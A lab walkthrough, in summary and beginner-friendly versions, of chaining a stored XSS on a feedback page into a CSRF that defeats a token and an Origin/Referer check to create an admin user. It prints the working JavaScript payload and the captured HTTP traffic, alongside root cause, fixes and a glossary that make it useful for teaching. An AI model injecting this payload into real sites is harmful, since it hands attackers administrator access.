Advanced CSRF Exploitation
A stored XSS vulnerability on a feedback page allowed an attacker to execute JavaScript in an authenticated admin's browser, which then fetched a valid CSRF token from the user management page and submitted a forged request to create a new admin user. This bypassed both the CSRF token and the Origin/Referer header checks.
Published on medium.com
{{media:0}}
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This is a walkthrough of bypassing common anti-CSRF defences in a practical lab-style scenario, written up as exam preparation for a certification. The target is a web application with an administrative area. An authenticated administrator can add new application users from the page:
http://target.site/users.php
The form on that page submits to add_user.php, which changes server-side state by creating a user. That kind of state-changing functionality is the classic target for Cross-Site Request Forgery. The post assumes you already know what CSRF is and how a basic attack works; for the basics it points to the OWASP Web Security Testing Guide page on testing for Cross-Site Request Forgery.

Setup
The researcher was working from an authenticated user context while preparing for a certification exam. The admin account could reach users.php and add users. The tooling was BurpSuite, used to intercept the client-server communication, plus the browser Dev-Tools (F12) to inspect cookie flags. The browser in the captured requests identifies itself as Firefox 91.0 on Linux x86_64.
Finding it
The first step was to intercept the request that the filled-out form on users.php sends to add_user.php:
POST /add_user.php HTTP/1.1Host: target.siteUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestContent-Length: 112Origin: http://target.siteConnection: closeReferer: http://target.site/users.phpCookie: PHPSESSID=[redacted]name=Jon&surname=Snow&email=j.snow%40attacker.site&role=ADMIN&CSRFToken=[redacted]&submit=
Two things stand out from this request. Session tracking relies on an HTTP cookie (PHPSESSID), and the request body carries a CSRFToken parameter that an attacker cannot determine in advance. So at first sight there is a CSRF protection in place.
The researcher then looked at the page that hosts the form. Because the request originates from a form on users.php, the token has to be there. Opening the HTML source shows the token in a hidden input field of the form, and every reload of the page returns a new token.
Next, the cookie flags were checked in the browser Dev-Tools. The session cookie has neither the SameSite, the Secure, nor the HttpOnly flag set. The cookie configuration therefore provides no protection against XSS, CSRF, Man-in-the-Middle or Clickjacking.
To probe further, the request was sent to BurpSuite Repeater. The researcher notes that if the token is implemented well, each Repeater attempt must use the newest token provided by users.php. While changing request headers and parameters, a second defence surfaced: altering the Referer and Origin header values made the server respond with an error and the user was not added. The server therefore also relies on the request origin to decide whether a request is safe. No multi-step action protected this functionality, and no further security mechanisms were identified.
With the token as the remaining obstacle, the researcher worked through a checklist for assessing token implementations:
- Test whether the CSRF token is actually needed. Maybe the request is processed without it because the server does not validate it.
- Is the token inside a cookie? If yes, it bypasses itself and there is CSRF.
- Maybe the token is injectable. Try common SQL injection techniques against it.
- Can one token be used for more than one request?
- Can the request method be changed (for example from POST to GET) and the request sent without the token parameter?
- Is the token predictable? Send it to BurpSuite Sequencer and analyse the entropy; if it is low enough, brute force might succeed.
In this scenario the answers were:
- The server validates the token.
- It is not within a cookie.
- It was not injectable.
- Reuse of tokens did not work.
- Changing the request method was prohibited server-side.
- The token was not predictable.
So the token was well implemented, and with the origin check in place there was no path to a classic CSRF. The researcher moved on to look for other vulnerabilities and found a stored XSS in another page of the same application, feedback.php. The XSS allows arbitrary JavaScript to run in the victim's browser.
That changes the picture. JavaScript injected on the target site forges its request to add_user.php with the origin http://target.site and the referer http://target.site/feedback.php, so the header-value-based CSRF defence is bypassed. The XSS also solves the token problem: users.php (which provides the token) and feedback.php (which requests it) are in the same origin, so the injected script can request a valid token and use it in the forged request.
Exploitation
The exploit has three steps:
- Request
users.php. - Extract the CSRF token from the source code within the response.
- Forge the CSRF request with the stolen token.
Step 1: fetch the page and extract the token
The following code sends an authenticated GET request to users.php. If the request succeeds, the JavaScript extracts the CSRF token from the response HTML and saves it in the token variable:
var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (xhr.readyState == 4) { var htmlSource = xhr.responseText; var parser = new DOMParser().parseFromString(htmlSource, "text/html"); var token = parser.getElementsByName('CSRFToken')[0].value; }}xhr.open('GET', 'http://target.site/users.php', true);xhr.withCredentials = "true";xhr.send();
withCredentials = "true" makes the browser attach the victim's session cookie to the cross-document request, and the response HTML is parsed with DOMParser so the hidden CSRFToken input can be read by name.
Step 2: forge the state-changing request
The code is then extended so that, once the token is extracted, it sends the request to add_user.php with that token:
var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (xhr.readyState == 4) { var htmlSource = xhr.responseText; var parser = new DOMParser().parseFromString(htmlSource, "text/html"); var token = parser.getElementsByName('CSRFToken')[0].value; var url = "http://target.site/add_user.php"; var params = "name=Jon&surname=Snow&email=j.snow%40attacker.site&role=ADMIN&CSRFToken=" + token + "&submit="; var CSRF = new XMLHttpRequest(); CSRF.open("POST", url, false); CSRF.withCredentials = "true"; CSRF.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); CSRF.send(params); }}xhr.open('GET', 'http://target.site/users.php', true);xhr.withCredentials = "true";xhr.send();
The body mirrors the legitimate form submission: name, surname, email, role set to ADMIN, the stolen CSRFToken and submit. The POST is sent synchronously (false) with the form content type.
Step 3: deliver the payload through the stored XSS
The script is injected into feedback.php as a stored XSS payload. When an authenticated administrator visits feedback.php, the payload executes. To analyse the exploit, the researcher took the role of the authenticated victim, visited feedback.php and intercepted every resulting request and response in BurpSuite:
GET /feedback.php HTTP/1.1Host: target.siteUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeReferer: http://target.site/users.phpCookie: PHPSESSID=[redacted]Upgrade-Insecure-Requests: 1
The response contains the injected JavaScript inside the page:
HTTP/1.1 200 OK[...]<div class="text"><script>var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (xhr.readyState == 4) { var htmlSource = xhr.responseText; var parser = new DOMParser().parseFromString(htmlSource, "text/html"); var token = parser.getElementsByName('CSRFToken')[0].value; var url = "http://target.site/add_user.php"; var params = "name=Jon&surname=Snow&email=j.snow%40attacker.site&role=ADMIN&CSRFToken=" + token + "&submit="; var CSRF = new XMLHttpRequest(); CSRF.open("POST", url, false); CSRF.withCredentials = "true"; CSRF.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); CSRF.send(params); }}xhr.open('GET', 'http://target.site/users.php', true);xhr.withCredentials = "true";xhr.send();</script></div>[...]
When the request is forwarded and the HTML is rendered, the script runs and automatically sends the first malicious request, which steals a valid CSRF token:
GET /users.php HTTP/1.1Host: target.siteUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeReferer: http://target.site/feedbacks.phpCookie: PHPSESSID=[redacted]
The response contains the token in the HTML, inside a hidden form field:
HTTP/1.1 200 OK[...] <input type="hidden" name="submit"><input type="hidden" name="CSRFToken" id="CSRFToken" value="[redacted]"><div class="form-actions">[...]
After the response is forwarded, the payload extracts the token and forges the request to add_user.php:
POST /add_user.php HTTP/1.1Host: target.siteUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-type: application/x-www-form-urlencodedContent-Length: 112Origin: http://target.siteConnection: closeReferer: http://target.site/feedbacks.phpCookie: PHPSESSID=[redacted]name=Jon&surname=Snow&email=j.snow%40attacker.site&role=ADMIN&CSRFToken=[redacted]&submit=
This request carries a valid CSRF token and its origin is target.site. Forwarding all requests completes the exploit: the user is added. Two common CSRF defences were bypassed by exploiting an XSS in the same origin, and the other CSRF implementation checks listed above were also tested.
Root cause
The token itself was implemented correctly: it was validated server-side, kept out of cookies, not injectable, not reusable, not predictable, and changing the request method was prohibited server-side. The origin and referer check was also enforced. The weakness is that the application contains a stored XSS in feedback.php on the same origin as the user management pages. Same-origin script runs with the victim's session, so it can read the token from users.php and send a request whose Origin and Referer headers are exactly what the server expects. The CSRF defences assume the attacker cannot run code on the origin; the XSS breaks that assumption. The missing SameSite, Secure and HttpOnly flags on the session cookie are a separate configuration weakness noted in the report, not the mechanism of this bypass.
Impact
An attacker who can plant the stored XSS payload in feedback.php can, when an authenticated administrator views that page, create a new user with the ADMIN role and an attacker-controlled email address, without any interaction beyond the page visit. The impact is limited to administrators who visit the affected page while logged in, and it depends on the stored XSS being present and reachable.
Fix
The report does not describe a fix or a vendor response. Based on the findings, the primary fix is to eliminate the stored XSS in feedback.php, since it is what defeats both the token and the origin check. The session cookie should also be given the SameSite, Secure and HttpOnly flags, which the report identifies as unset.
Variants to test
- Token validation gaps: remove the token, reuse an old one, or switch POST to GET. A positive result is the action succeeding without a fresh, valid token.
- Token in a cookie: check whether the token value is also stored in a cookie the attacker can set. If so, the check bypasses itself.
- Token injection: try SQL injection techniques against the token parameter. A positive result is an error or behaviour change that reveals the token is used unsafely in a query.
- Token predictability: feed a series of tokens to BurpSuite Sequencer. Low entropy means brute force may be feasible.
- Origin and referer checks: alter or remove the
OriginandRefererheaders in Repeater. A positive result is the request being accepted, showing the check is absent or weak. - Same-origin script execution: look for any XSS on the same origin as the protected action. A positive result is script that can read the token page and submit the state-changing request with the victim's session, as in this report.
What happened, in plain words
A security researcher was preparing for a certification exam and practising on a web application. The application had an admin area where an administrator could create new user accounts. Creating a user is exactly the kind of action an attacker would love to trigger on someone else's behalf, because it changes something on the server: a new account appears.
The attack that tries to make a logged-in person's browser perform an action they did not intend is called Cross-Site Request Forgery, or CSRF. The application had two defences against it: a secret value called a CSRF token that had to be included with every request, and a check that the request came from the application's own pages. Both looked solid. The researcher tested the token thoroughly and could not break it.
Then the researcher found a different bug on another page of the same site: a stored XSS. XSS, or Cross-Site Scripting, means an attacker can get their own JavaScript code to run inside the victim's browser as if it were part of the trusted site. Because that code runs on the same site as the admin pages, it can do everything the site itself can do: read the secret token from the page and send the user-creation request with the right origin. Both defences fell at once, and a new administrator account was created.
This article walks through that story from the beginning, explaining each concept as it appears.

The scenario
The researcher was doing exam preparation, working against a target application while logged in as an authenticated user. The admin account could add new application users from this page:
http://target.site/users.php
Let us unpack that. target.site is the name of the web server. users.php is a page on it. A page ending in .php is generated by a program written in the PHP language running on the server; when your browser asks for it, the server runs code and sends back HTML, the language web pages are written in. The page contains a form, the collection of boxes and buttons you fill in and submit.
From an attacker's point of view, any feature that changes something on the server is interesting. Adding a user changes the server's data: a new account now exists. If an attacker can make an administrator's browser send that request without the administrator meaning to, the attacker gets a free account, possibly with high privileges. That is the essence of CSRF: the victim's browser is tricked into sending a request the victim did not intend, using the victim's own logged-in session.
To see exactly what the browser sends, the researcher used BurpSuite. BurpSuite is a tool that sits between your browser and the server and lets you pause, read and edit every request and response. Think of it as a transparent pipe with a tap on it: traffic still flows, but you can look inside and change what goes through.
The request that creates a user
When the administrator fills in the form on users.php and submits it, the browser sends this request to the server:
POST /add_user.php HTTP/1.1Host: target.siteUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestContent-Length: 112Origin: http://target.siteConnection: closeReferer: http://target.site/users.phpCookie: PHPSESSID=[redacted]name=Jon&surname=Snow&email=j.snow%40attacker.site&role=ADMIN&CSRFToken=[redacted]&submit=
Line by line, in plain words:
POST /add_user.php HTTP/1.1is the first line of an HTTP request. HTTP is the language browsers and servers speak.POSTis the method, meaning "here is some data, please act on it".GETwould mean "please give me a page"./add_user.phpis the address of the program on the server that handles the action.HTTP/1.1is the version of the protocol.Host: target.sitetells the server which website the request is for. One server can host many sites, so it needs to know which one you mean.User-Agent: ...identifies the browser and operating system. Here it says Firefox 91.0 on 64-bit Linux.Accept,Accept-Language,Accept-Encodingtell the server what kinds of content the browser can handle and in which language. They are standard browser chatter.Content-Type: application/x-www-form-urlencoded; charset=UTF-8says how the data in the body is formatted.application/x-www-form-urlencodedis the classic form format: pairs likename=valuejoined with&.X-Requested-With: XMLHttpRequestis a custom header that JavaScript code often adds to mark a request as made by script rather than by clicking a link.Content-Length: 112is the size of the body in bytes.Origin: http://target.sitesays which site the request came from. Browsers add this automatically. It is one of the two headers the server later checks.Connection: closeasks the server to close the network connection after the response.Referer: http://target.site/users.phpsays which page the request was sent from. (The name is a historical misspelling of "referrer".) It is the second header the server checks.Cookie: PHPSESSID=[redacted]is the crucial one. A cookie is a small piece of text the server asks the browser to store and send back with every later request to the same site.PHPSESSIDis the name of this particular cookie, and its value is a session identifier. A session is the server's memory of "this is the person who logged in earlier". The cookie is how the browser proves it is still the same logged-in user. Without it, the server would treat the request as anonymous.- The blank line separates the headers from the body.
name=Jon&surname=Snow&email=j.snow%40attacker.site&role=ADMIN&CSRFToken=[redacted]&submit=is the body: the form data.name,surnameandemailare the new user's details.%40is the URL-encoded form of the@sign, so the email is[redacted].role=ADMINasks for the new account to be an administrator.CSRFToken=...is the secret value.submit=is the submit button's value, empty here.
Two facts stand out. First, the server knows who you are only because of the cookie. Second, the request carries a CSRFToken value that an outsider cannot guess. So at first glance there is a CSRF defence in place.
What a CSRF token is, and why it exists
A CSRF token is a random-looking string that the server generates and embeds in the form. When the form is submitted, the browser sends the token back. The server checks that the token is one it recently issued to this session. An attacker on a different website cannot read the token, because the browser's same-origin policy stops one site from reading another site's pages. So the attacker cannot build a valid request. That is the whole idea: the token proves the request came from a page the server itself served, not from an attacker's page.
A token is only useful if it is implemented correctly. Common mistakes include not checking it at all, storing it in a cookie (where the attacker can set it), letting one token be reused forever, or making it predictable. The researcher therefore went through a checklist, which we will come to.
Looking at the page and the cookie
The researcher first opened the page that hosts the form, users.php. Since the request is sent from a form on that page, the token must be somewhere in the page. Opening the page's HTML source (in the browser, "View Source") shows the token inside a hidden input field. A hidden input is a form field the user cannot see but the browser still submits. Every reload of the page returns a new token, which is a good sign.
Next, the researcher opened the browser's developer tools with F12. These are built-in tools that let you inspect the page, the network traffic and the cookies. Looking at the session cookie's flags showed that three flags were not set: SameSite, Secure and HttpOnly.
SameSitetells the browser whether to send the cookie along with requests that originate from other sites. Without it, the browser may send the cookie on cross-site requests, which is exactly what a CSRF attack needs.Securemeans the cookie is only sent over HTTPS, the encrypted version of HTTP. Without it, the cookie can travel over plain HTTP and be read by anyone on the network.HttpOnlymeans JavaScript on the page cannot read the cookie. Without it, any script running on the site, including an injected one, can read the session identifier.
So the cookie configuration offers no protection against XSS, CSRF, Man-in-the-Middle attacks (someone secretly sitting between browser and server, reading or altering traffic) or Clickjacking (tricking a user into clicking something invisible). This is a weakness in its own right, though as we will see it is not the mechanism that made the attack work.
Probing the request in Repeater
BurpSuite has a component called Repeater. It lets you take a single captured request, edit any part of it, and send it again and again, seeing the server's response each time. It is like a laboratory where you can change one ingredient at a time and watch what happens.
The researcher notes an important practical point: if the token is implemented well, every attempt in Repeater must use the newest token from users.php, because old tokens stop working.
While changing headers and parameters one by one, a second defence appeared. When the Referer and Origin header values were changed, the server responded with an error and the user was not added. So the server also checks where the request claims to come from. If the origin is not the site itself, the request is refused. No multi-step confirmation (such as a second page asking "are you sure?") protected this function, and no other security mechanism was found.
The token checklist
With the token as the remaining obstacle, the researcher worked through a list of questions that anyone assessing a token implementation should ask:
- Is the CSRF token actually needed? Maybe the request is processed without it because the server never checks it.
- Is the token inside a cookie? If the server compares the token in the body with a token in a cookie, and the attacker can set cookies, the check defeats itself.
- Is the token injectable? Try common SQL injection techniques. SQL injection means slipping database commands into an input so the database runs them; if the token is pasted into a database query unsafely, this might work.
- Can one token be used for more than one request? A token that never expires is much weaker.
- Can the request method be changed, for example from POST to GET, and the request sent without the token? Some servers only check the token on POST.
- Is the token predictable? BurpSuite has a component called Sequencer that collects many tokens and analyses how random they are. If the randomness (entropy) is low, an attacker might guess or brute-force a valid one. Brute force means trying many possibilities until one works.
In this scenario the answers were:
- The server validates the token.
- It is not within a cookie.
- It was not injectable.
- Reuse of tokens did not work.
- Changing the request method was prohibited server-side.
- The token was not predictable.
So the token was well implemented, and with the origin check in place there was no way to do a classic CSRF. The researcher moved on to look for other vulnerabilities.
The game changer: stored XSS
On another page of the same application, feedback.php, the researcher found a stored XSS. Stored XSS means the malicious script is saved on the server and served to every visitor of that page. When an administrator opens the page, the script runs in the administrator's browser, inside the trusted site.
This changes everything. JavaScript injected on the target site sends its request to add_user.php with the origin http://target.site and the referer http://target.site/feedback.php. The browser fills in those headers automatically, and they are exactly what the server expects. The header-based defence is bypassed.
The XSS also solves the token problem. users.php, which provides the token, and feedback.php, which now runs the attacker's script, are on the same origin. Same origin means same scheme, host and port: here, the same site. The browser's same-origin policy allows pages from the same origin to read each other's content. So the injected script can fetch users.php, read the token from the response, and use it in the forged request. The token is not guessed or broken; it is simply collected legitimately by code running in the right place.
Building the exploit
The exploit has three steps:
- Request
users.php. - Extract the CSRF token from the source code within the response.
- Forge the CSRF request with the stolen token.
Step 1: fetch the page and extract the token
The following code sends an authenticated GET request to users.php. If the request succeeds, the JavaScript extracts the CSRF token from the response HTML and saves it in the token variable:
var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (xhr.readyState == 4) { var htmlSource = xhr.responseText; var parser = new DOMParser().parseFromString(htmlSource, "text/html"); var token = parser.getElementsByName('CSRFToken')[0].value; }}xhr.open('GET', 'http://target.site/users.php', true);xhr.withCredentials = "true";xhr.send();
Line by line:
var xhr = new XMLHttpRequest();creates an object that can send HTTP requests from JavaScript without reloading the page. This is the mechanism behind most modern web apps that update without a full page refresh.xhr.onreadystatechange = function() { ... }attaches a function that runs whenever the request's state changes. Think of it as a callback: "when something happens, do this".if (xhr.readyState == 4)checks whether the request has finished. State 4 means the response has arrived.var htmlSource = xhr.responseText;stores the response body, which is the HTML ofusers.php, in a variable.var parser = new DOMParser().parseFromString(htmlSource, "text/html");turns that HTML text into a structured document the script can search, the same way the browser understands a page.var token = parser.getElementsByName('CSRFToken')[0].value;finds the element namedCSRFTokenand reads itsvalue, which is the token.[0]means the first match.xhr.open('GET', 'http://target.site/users.php', true);prepares a GET request to the page. Thetruemeans asynchronous: the script does not freeze while waiting.xhr.withCredentials = "true";is essential. It tells the browser to include the victim's cookies with this request. Without it, the request would be anonymous and the server would not return the admin's page.xhr.send();actually sends the request.
Step 2: forge the state-changing request
The code is then extended so that, once the token is extracted, it sends the request to add_user.php with that token:
var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (xhr.readyState == 4) { var htmlSource = xhr.responseText; var parser = new DOMParser().parseFromString(htmlSource, "text/html"); var token = parser.getElementsByName('CSRFToken')[0].value; var url = "http://target.site/add_user.php"; var params = "name=Jon&surname=Snow&email=j.snow%40attacker.site&role=ADMIN&CSRFToken=" + token + "&submit="; var CSRF = new XMLHttpRequest(); CSRF.open("POST", url, false); CSRF.withCredentials = "true"; CSRF.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); CSRF.send(params); }}xhr.open('GET', 'http://target.site/users.php', true);xhr.withCredentials = "true";xhr.send();
Line by line, focusing on what is new:
- The first part is the same as before: fetch
users.phpand read the token. var url = "http://target.site/add_user.php";stores the address of the action.var params = "name=Jon&surname=Snow&email=j.snow%40attacker.site&role=ADMIN&CSRFToken=" + token + "&submit=";builds the body. It mirrors the legitimate form submission:name,surname,email,roleset toADMIN, the stolenCSRFTokenandsubmit. The+ token +glues the real token into the string.var CSRF = new XMLHttpRequest();creates a second request object for the malicious request.CSRF.open("POST", url, false);prepares a POST. Thefalsemeans synchronous: the script waits for this request to finish before continuing. That makes the sequence predictable.CSRF.withCredentials = "true";again attaches the victim's cookies, so the server sees the administrator's session.CSRF.setRequestHeader("Content-type", "application/x-www-form-urlencoded");sets the body format to the same one the real form uses.CSRF.send(params);sends the request with the crafted body.
Step 3: deliver the payload through the stored XSS
The script is injected into feedback.php as a stored XSS payload. When an authenticated administrator visits feedback.php, the payload executes. To analyse the exploit, the researcher took the role of the authenticated victim, visited feedback.php and intercepted every resulting request and response in BurpSuite:
GET /feedback.php HTTP/1.1Host: target.siteUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeReferer: http://target.site/users.phpCookie: PHPSESSID=[redacted]Upgrade-Insecure-Requests: 1
This is the victim's browser asking for the feedback page. GET means "give me this page". The Cookie header carries the session, so the server knows this is the logged-in administrator. Upgrade-Insecure-Requests: 1 is a standard browser hint that it prefers encrypted connections.
The response contains the injected JavaScript inside the page:
HTTP/1.1 200 OK[...]<div class="text"><script>var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (xhr.readyState == 4) { var htmlSource = xhr.responseText; var parser = new DOMParser().parseFromString(htmlSource, "text/html"); var token = parser.getElementsByName('CSRFToken')[0].value; var url = "http://target.site/add_user.php"; var params = "name=Jon&surname=Snow&email=j.snow%40attacker.site&role=ADMIN&CSRFToken=" + token + "&submit="; var CSRF = new XMLHttpRequest(); CSRF.open("POST", url, false); CSRF.withCredentials = "true"; CSRF.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); CSRF.send(params); }}xhr.open('GET', 'http://target.site/users.php', true);xhr.withCredentials = "true";xhr.send();</script></div>[...]
HTTP/1.1 200 OK is the server's status line: 200 means success. The [...] marks parts of the page left out. The <div class="text"> is the container where the feedback text is displayed, and inside it sits the <script> element. A <script> element tells the browser to run the code between its tags. Because the script was stored on the server, every visitor of this page receives it.
When the request is forwarded and the HTML is rendered, the script runs and automatically sends the first malicious request, which steals a valid CSRF token:
GET /users.php HTTP/1.1Host: target.siteUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeReferer: http://target.site/feedbacks.phpCookie: PHPSESSID=[redacted]
This is the script's first request, made on the victim's behalf. Notice the Referer: it says feedbacks.php, the page the script is running on. The Cookie header is present because the script set withCredentials. The server sees a normal request from a logged-in administrator.
The response contains the token in the HTML, inside a hidden form field:
HTTP/1.1 200 OK[...] <input type="hidden" name="submit"><input type="hidden" name="CSRFToken" id="CSRFToken" value="[redacted]"><div class="form-actions">[...]
This is the page the script asked for. The <input type="hidden" name="CSRFToken" ... value="..."> is the hidden field holding the token. The script's getElementsByName('CSRFToken')[0].value reads exactly this value.
After the response is forwarded, the payload extracts the token and forges the request to add_user.php:
POST /add_user.php HTTP/1.1Host: target.siteUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-type: application/x-www-form-urlencodedContent-Length: 112Origin: http://target.siteConnection: closeReferer: http://target.site/feedbacks.phpCookie: PHPSESSID=[redacted]name=Jon&surname=Snow&email=j.snow%40attacker.site&role=ADMIN&CSRFToken=[redacted]&submit=
This is the forged request. It carries a valid CSRF token, freshly stolen, and its Origin is target.site. The Referer is feedbacks.php, a page on the same site, which the server accepts. The body asks for a new user with role ADMIN and the attacker's email address. Forwarding all requests completes the exploit: the user is added. Two common CSRF defences were bypassed by exploiting an XSS in the same origin, and the other CSRF implementation checks listed above were also tested.
Why it worked
The token itself was implemented correctly: it was validated server-side, kept out of cookies, not injectable, not reusable, not predictable, and changing the request method was prohibited server-side. The origin and referer check was also enforced. The weakness is that the application contains a stored XSS in feedback.php on the same origin as the user management pages. Same-origin script runs with the victim's session, so it can read the token from users.php and send a request whose Origin and Referer headers are exactly what the server expects. The CSRF defences assume the attacker cannot run code on the origin; the XSS breaks that assumption. The missing SameSite, Secure and HttpOnly flags on the session cookie are a separate configuration weakness noted in the report, not the mechanism of this bypass.
What an attacker gains
An attacker who can plant the stored XSS payload in feedback.php can, when an authenticated administrator views that page, create a new user with the ADMIN role and an attacker-controlled email address, without any interaction beyond the page visit. The impact is limited to administrators who visit the affected page while logged in, and it depends on the stored XSS being present and reachable.
How to fix it
The report does not describe a fix or a vendor response. Based on the findings, the primary fix is to eliminate the stored XSS in feedback.php, since it is what defeats both the token and the origin check. The session cookie should also be given the SameSite, Secure and HttpOnly flags, which the report identifies as unset.
Other things worth testing
- Token validation gaps: remove the token, reuse an old one, or switch POST to GET. A positive result is the action succeeding without a fresh, valid token.
- Token in a cookie: check whether the token value is also stored in a cookie the attacker can set. If so, the check bypasses itself.
- Token injection: try SQL injection techniques against the token parameter. A positive result is an error or behaviour change that reveals the token is used unsafely in a query.
- Token predictability: feed a series of tokens to BurpSuite Sequencer. Low entropy means brute force may be feasible.
- Origin and referer checks: alter or remove the
OriginandRefererheaders in Repeater. A positive result is the request being accepted, showing the check is absent or weak. - Same-origin script execution: look for any XSS on the same origin as the protected action. A positive result is script that can read the token page and submit the state-changing request with the victim's session, as in this report.
Glossary
- API: a defined way for one piece of software to talk to another; here, the server endpoints that accept requests and return data.
- Brute force: trying many possible values until one works.
- BurpSuite: a tool that sits between browser and server to intercept, inspect and edit HTTP traffic.
- Clickjacking: tricking a user into clicking something they cannot see or did not intend.
- Cookie: a small piece of text a server asks the browser to store and send back with later requests, often used to identify a session.
- Cross-Site Request Forgery (CSRF): making a logged-in user's browser send a request the user did not intend.
- Cross-Site Scripting (XSS): getting attacker-controlled JavaScript to run inside a trusted site in a victim's browser.
- CSRF token: a random value embedded in a form and checked by the server to prove a request came from a page the server itself served.
- Developer tools (F12): built-in browser tools to inspect pages, network traffic and cookies.
- DOMParser: a browser feature that turns HTML text into a structured document a script can search.
- Entropy: a measure of randomness; low entropy means values are easier to guess.
- GET: an HTTP method meaning "give me this resource".
- Hidden input: a form field the user cannot see but the browser still submits.
- HTML: the language web pages are written in.
- HTTP: the protocol browsers and servers use to exchange requests and responses.
- HttpOnly: a cookie flag that stops JavaScript from reading the cookie.
- HTTPS: the encrypted version of HTTP.
- Man-in-the-Middle: an attacker secretly sitting between browser and server, reading or altering traffic.
- Origin: the combination of scheme, host and port that identifies a site; also an HTTP header stating where a request came from.
- POST: an HTTP method meaning "here is data, please act on it".
- Referer: an HTTP header stating which page a request was sent from.
- Repeater: a BurpSuite component for editing and resending a single request.
- Same-origin policy: a browser rule that stops one site from reading another site's content.
- SameSite: a cookie flag controlling whether the cookie is sent on cross-site requests.
- Secure: a cookie flag meaning the cookie is only sent over HTTPS.
- Sequencer: a BurpSuite component that analyses how random a series of values is.
- Session: the server's memory of a logged-in user, identified by a cookie.
- SQL injection: slipping database commands into an input so the database runs them.
- Stored XSS: XSS where the malicious script is saved on the server and served to visitors.
- URL encoding: representing special characters in a URL-safe way, such as
%40for@. - withCredentials: a JavaScript setting that makes the browser include cookies with a scripted request.
- XMLHttpRequest: a JavaScript object for sending HTTP requests without reloading the page.